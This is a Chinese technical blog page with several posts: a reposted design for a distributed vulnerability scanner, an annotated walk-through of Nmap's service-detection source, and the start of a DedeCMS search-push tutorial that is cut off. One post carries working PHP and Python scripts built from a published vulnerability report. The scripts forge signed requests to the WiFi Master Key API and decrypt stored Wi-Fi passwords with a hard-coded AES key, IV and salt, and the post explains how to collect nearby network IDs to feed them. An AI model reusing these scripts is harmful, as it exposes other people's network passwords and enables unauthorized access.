   在分布式的系统中,消息队列是最佳的消息传递方式,因而我们采用了Active MQ作为整个系统的消息传递媒介。扫描节点可以分成Windows扫描节点和Linux扫描节点两种,不同的节点所能处理的扫描任务类型是不同的,而我们希望分布式的漏洞扫描系统能够同时支持这两种,以便实现强大的集中式挖掘平台。
   为了更好地区分两种不同类型的扫描任务,我们将在Active MQ中创建2个任务消息队列。用户通过Web界面发起扫描任务时,会创建一个(或多个)任务消息对象,然后根据所选用扫描插件所运行的环境不同,分别将其序列化(json)之后发送到相应的任务消息队列中。而Windows和Linux扫描节点则分别从Windows消息队列和Linux消息队列中取扫描任务,然后进行处理,其结果如下图3-1所示。


                            图3-1 任务消息传递示意图
    从上图可以看出,任务在进入任务队列之前就已经根据扫描任务的不同区分是发送到Windows队列还是发送到Linux队列,避免了后续流程中存在任务的交叉性,在扫描结束后通过Web上的REST接口将扫描结果同步到中央管理平台。
3.4 扫描任务的取消
    扫描节点会通过Web提供的API接口周期性轮询扫描任务状态变化。如果用户取消任务时,扫描节点发现状态已经被设置为取消状态,那么扫描节点会终止该任务所对应的扫描进程。
3.5 监控模块信息通信
    监控模块主要是与Web模块进行交互的,它通过Web提供的额外的几个REST接口,用于查询当前的任务状态信息,同时还负责部分信息收集相关的扫描任务等等,全部都是REST接口来完成所有的相关功能,具体的实现方式参考监控模块章节。

 

0x03·扫描节点

4.1 概述

   扫描节点(scanner)是整个分布式扫描系统的终端节点,负责具体漏洞扫描。由于我们的漏洞扫描系统需要集中许多不同的扫描工具,在这些工具当中,有的是只能运行在Windows上,比如WVS,而有的则是只能运行在Linux上,比如openvas,而有的则是可以同时在两种系统上运行,比如nmap。所以,为了能够更好的地集中这些工具,就必须解决系统的异构问题,达到同时支持Linux扫描节点和Windows扫描节点,才能更大地发挥集中扫描平台的优势。
4.2 扫描框架
4.2.1 系统异构
   出于系统设计的需求,扫描节点必须需要同时运行在Linux和Windows节点,所以我们在设计扫描节点的框架时,必须要考虑到系统的异构问题。此外,为了减少代码的开发时间和运维工作量,我们不希望在Linux开发一套扫描系统,而在Windows上开发另外一套系统,这样无疑会增加我们的开发和运维成本,而且对以后的升级都是比较棘手的。所以,我们采用脚本语言python开发整个扫描系统,所有的扫描工具都是采用插件的形式封装,然后根据扫描任务动态加载。举个例子,扫描系统启动的时候,它是不会加载任何插件的,保证系统能够同时运行在Linux和Windows节点上,当用户发起的一个WEB扫描任务时,那么该任务会被发送到Windows消息队列,Windows扫描节点会从该消息队列中提取任务,然后动态加载WVS插件,然后调用WVS进行漏洞扫描。同理,假如用户发起的主机扫描任务,那么该任务就会发送到Linux消息队列,Linux扫描节点会从该消息队列中提取任务,然后动态加载openvas插件,然后调用openvas进行漏洞扫描。如此一来,同一个扫描系统可以同时兼容Windows和Linux系统,就很好地解决系统的异构问题。
4.2.2 框架结构
  在【消息通信】章节中,整个分布式系统主要是通过消息队列(ActiveMQ)来进行扫描任务的分发。同时,为解决系统异构问题,我们使用了Windows和Linux两个消息队列,用于不同类型的任务分发,扫描节点的框架如下图4-1所示。


                          图4-1 扫描节点的框架结构
  从上图中,我们可以看到扫描节点存在好几个不同类型的线程,分别负责不同的功能,其功能如下表3-1所示。
表3-1 扫描节点内部主要的线程和进程功能表


  对照图3-1和表3-1,我们可以看出,扫描节点的内部有任务队列【Task Queue】和结果队列【Result Queue】两个队列,而接收任务线程【Receive MQ Thread】首先从ActiveMQ中获取扫描任务,然后将其推入到内部的任务队列【Task Queue】中,主线程【Main Porcess Thread】会从内部队列【Task Queue】中提取扫描任务消息,然后根据任务消息启动一个扫描线程【Scan Thread】, 而扫描线程【Scan Thread】启动之后会创建一个插件进程【Plugin Process】,该进程会调用nmap, WVS,openvas等相关工具,待执行结束后会将扫描的结果推入到结果队列【Result Queue】。结果同步线程【Sync Result Thread】从结果队列【Result Queue】中获取扫描结果,然后通过WEB的REST接口同步到中央数据库。而查询任务状态线程【Query Task status Thread】则是周期性地通过WEB的REST接口查询当前扫描任务的状态,如果发现有任务被取消的话,那么它就会发送一个取消【Cancel】的消息到任务队列【Task Queue】中,然后主线程【Main Porcess Thread】取出这个消息后,就会终止相应的扫描线程【Scan Thread】和插件进程【Plugin Thread】。


   扫描节点内的多个线程,不同的线程负责不同的功能,虽然看起来比较复杂,但是这样可以尽量解耦各个模块之间,以增强可扩展性和稳定性,也可以大大降低后期的维护和升级的成本。


4.2.3扫描线程和插件进程的启动
  扫描节点中主线程会根据扫描任务通过内部线程管理器【Thread Manager】启动一个扫描线程,其框架如下图4-2所示。


                               图 4-2 扫描线程与插件进程
  从上图4-2可以看出,线程管理器启动了扫描线程之后,扫描线程会根据任务任务从插件工厂【Plugin Factory】获取任务相对应的插件进程实例,并启动插件进程。比如扫描线程1的任务类型是主机安全扫描,那么它会通过插件工厂获得一个openvas的插件实例(plugin A),然后启动该插件进程,扫描线程2的任务类型是Web漏洞扫描,那么它会通过插件工厂获得WVS的插件实例(Plugin B),然后启动该插件进程。
4.2.4扫描线程和插件进程的通信
  当扫描任务被取消的时候,主进程会找到相对应的扫描线程【Scan Thread】,然后通过扫描线程来终止相对应的插件进程【Plugin Thread】,其通信的框架如图4-3所示。 

                          图 4-3 扫描线程和插件进程的通信结构图
  扫描线程【Scan Thread】在启动插件进程时,会创建一个队列Queue用于和插件进程【Plugin Process】通信。在插件进程内部有任务扫描【Task Scanning】和通信【communication】两个线程,其中任务扫描线程是调用具体的扫描工具或者脚本的,比如openvas,nmap,WVS等等,在调用结束后会将扫描的结果推入到扫描节点内部的结果队列【Result Queue】中,而通信线程则是通过队列【Queue】与扫描线程通信。
   当任务被取消时,主线程会通过相对应的扫描线程发送一个终止的命令到队列queue中,插件进程中的通信线程收到这个消息时就会调用终止函数(stop_script)来结束当前的线程。各个插件的终止函数略有不同,这样可以让各个插件进程在终止前做一些必要的工作,比如同步已有结果,清理扫尾等,增加插件的灵活性。但是,如果超过一定的时间相关进程和线程还没有被终止的话,那么就会被主进程强制杀掉,避免进程僵死的情况发生。
4.4 小结
   为了解决系统的异构问题,我们采用了两个任务消息队列来下发扫描任务,扫描节点中的各个扫描功能模块全部采用插件的形式,在需要的时候动态加载,保证了系统的稳定性和可扩展性。

作者:胡杨<jekkay@easysb.cn><479904359@qq.com>

from:easysb.cn

PS:之所以转这个是因为这个的设计思路跟我正在做的东西的设计思路是差不多的.只能感慨下:创意无限~

WIFI万能钥匙密码查询接口

发布时间:August 11, 2015 // 分类:工作日志,PHP,开发笔记,windows // 5 Comments

拜读了《WIFI万能钥匙密码查询接口算法破解(可无限查询用户AP明文密码)》http://www.wooyun.org/bugs/wooyun-2015-099268一文

通过程序包分析算法(说一下在,各种key,salt明文存储,连混淆哪怕是字符拼接都没有。。。)

这个是查询密码用到的数据包,以及参数中sign(签名)的算法,其实就是这些数据进行排序后用salt算个md5。新版本的万能钥匙还有个retSn,实现链式认证,也能突破,但这个报告只说1.x版本的API问题(1.x时代很多细节明显没有考虑完善,基本只靠sign做安全)

<?php
//some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80";
$ssid = "Podinns2F03";

if(isset($bssid) && isset($ssid)){
//update salt
    $ret = request($bssid, $ssid, md5(rand(1, 10000)));
    $ret = json_decode($ret);

    $ret = request($bssid, $ssid, $ret->retSn);
    $ret = json_decode($ret);
    if($ret->retCd == 0){
        if($ret->qryapwd->retCd == 0){
            $list = $ret->qryapwd->psws;
            foreach($list as $wifi){
                echo 'SSID: '.$wifi->ssid."\n";
                echo 'PWD: '.decryptStrin($wifi->pwd)."\n";
                echo 'BSSID: '.$wifi->bssid."\n";
                if($wifi->xUser){
                    echo 'xUser: '.$wifi->xUser."\n";
                    echo 'xPwd: '.$wifi->xPwd."\n";
                }
            }
        }
        else{
            echo $ret->qryapwd->retMsg;
        }
    }
}
function request($bssid, $ssid, $salt, $dhid = 'ff8080814cc5798a014ccbbdfa375369'){
    $data = array();
    $data['appid'] = '0008';
    $data['bssid'] = $bssid;
    $data['chanid'] = 'gw';
    $data['dhid'] = $dhid;
    $data['ii'] = '609537f302fc6c32907a935fb4bf7ac9';
    $data['lang'] = 'cn';
    $data['mac'] = '60f81dad28de';
    $data['method'] = 'getDeepSecChkSwitch';
    $data['pid'] = 'qryapwd:commonswitch';
    $data['ssid'] = $ssid;
    $data['st'] = 'm';
    $data['uhid'] = 'a0000000000000000000000000000001';
    $data['v'] = '324';
    $data['sign'] = sign($data, $salt);

    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd');
    curl_setopt($curl, CURLOPT_USERAGENT,'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))');
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
    curl_setopt($curl, CURLOPT_POST, true); // enable posting
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data)); // post images 
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
    $r = curl_exec($curl); 
    curl_close($curl);
    return $r;
}

function registerNewDevice(){
    $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$';

    $data = array();
    $data['appid'] = '0008';
    $data['bssid'] = $bssid;
    $data['chanid'] = 'gw';
    $data['dhid'] = $dhid;
    $data['ii'] = '609537f302fc6c32907a935fb4bf7ac9';
    $data['lang'] = 'cn';
    $data['mac'] = '60f81dad28de';
    $data['method'] = 'getDeepSecChkSwitch';
    $data['pid'] = 'qryapwd:commonswitch';
    $data['ssid'] = $ssid;
    $data['st'] = 'm';
    $data['uhid'] = 'a0000000000000000000000000000001';
    $data['v'] = '324';
    $data['sign'] = sign($data, $salt);
}

function sign( $array , $salt ){
    // 签名算法
    $request_str = '';
    // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort 
    ksort( $array );
    foreach ($array as $key => $value) {
        $request_str .= $value;
    }
    $sign = md5( $request_str . $salt );
    return strtoupper($sign);
}

function decryptStrin($str,$keys='k%7Ve#8Ie!5Fb&8E',$iv='y!0Oe#2Wj#6Pw!3V',$cipher_alg=MCRYPT_RIJNDAEL_128){
    //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
    //[length][password][timestamp]
    $decrypted_string = mcrypt_decrypt($cipher_alg, $keys, pack("H*",$str),MCRYPT_MODE_CBC, $iv);
    return substr(trim($decrypted_string),3,-13);
}
?>

说明:如何查看附近的WIFI

powershell或者cmd执行netsh wlan show network mode=bssid,将结果粘贴进去

air用户则

执行airport -s,将结果粘贴进去
如果提示没有airport,先执行
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

我们qu查询huipu那个~

附上一个PYTHON查询脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: iswin

from Crypto.Cipher import AES
import base64
import requests
import hashlib
import random
import json
import sys

def request(bssid,ssid,salt):
    url='http://wifiapi02.51y5.net/wifiapi/fa.cmd'
    headers={'useg_agent':'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))'}
    data={'appid':'0008','bssid':bssid,'chanid':'gw','dhid':'ff8080814cc5798a014ccbbdfa375369','ii':'609537f302fc6c32907a935fb4bf7ac9','lang':'cn','mac':'60f81dad28de','method':'getDeepSecChkSwitch','pid':'qryapwd:commonswitch','ssid':ssid,'st':'m','uhid':'a0000000000000000000000000000001','v':'324'}
    data['sign']=md5(''.join([data[k] for k in sorted(data.keys())]),salt).upper()
    return requests.post(url,data, headers=headers).text

def md5(str,salt):
    m = hashlib.md5()   
    m.update(str+salt)
    return m.hexdigest() 

def decrypt(data):
    PADDING = '\0'
    key = 'k%7Ve#8Ie!5Fb&8E'
    iv = 'y!0Oe#2Wj#6Pw!3V'
    recovery = AES.new(key, AES.MODE_CBC, iv).decrypt(str(bytearray.fromhex(data)))
    return recovery.rstrip(PADDING)[3:-13]

if __name__ == '__main__':
    if(len(sys.argv)<2):
        print 'python wifi.py bssid ssid\nExample:python wifi.py c8:3a:35:fa:b8:80 Podinns2F03'
        exit()
    try:
        bssid=sys.argv[1]
        ssid=sys.argv[2]
        retSn=json.loads(request(bssid,ssid,md5(str(random.randint(1, 100000)),'')))['retSn']
        response=json.loads(request(bssid,ssid,retSn))
        if int(response['qryapwd']['retCd']) !=0:
            print 'ERROR:'+response['qryapwd']['retMsg']
            exit()
        password=response['qryapwd']['psws'][bssid]['pwd']
        print 'ssid:%s\nbssid:%s\npasswd:%s'%(ssid,bssid,decrypt(password))
    except KeyError:
        print 'ERROR:BSSID('+bssid+') NOT FOUND'
    

Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:开发笔记,运维工作,工作日志,VC/C/C++,linux,转帖文章,windows // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

织梦实时推送sitemap地址给百度

发布时间:August 1, 2015 // 分类:PHP,工作日志,代码学习,生活琐事 // No Comments

很久前,织梦自己有一套主动ping百度的插件,但是后来好像有几年用不了了.最近百度推出了实时推送链接地址给百度,这样肯定比sitemap方便多了.而且也可以确保文章的原创性.不知道为什么我在网上还没看到织梦有这样的教程,所以我就根据百度接口写了个教程出来,给各位织梦爱好者看看.

关于织梦的百度实时推送我写了两种方法,大家可以自行选择:

1.手动创建一个文件,每天访问这个文件就可以把当天的全部文章推送到百度搜索引擎.在根目录下面创建一个tuisong.php  访问后会返回百度接口结果
 

<?php
require_once ("include/common.inc.php");
require_once "include/arc.partview.class.php";
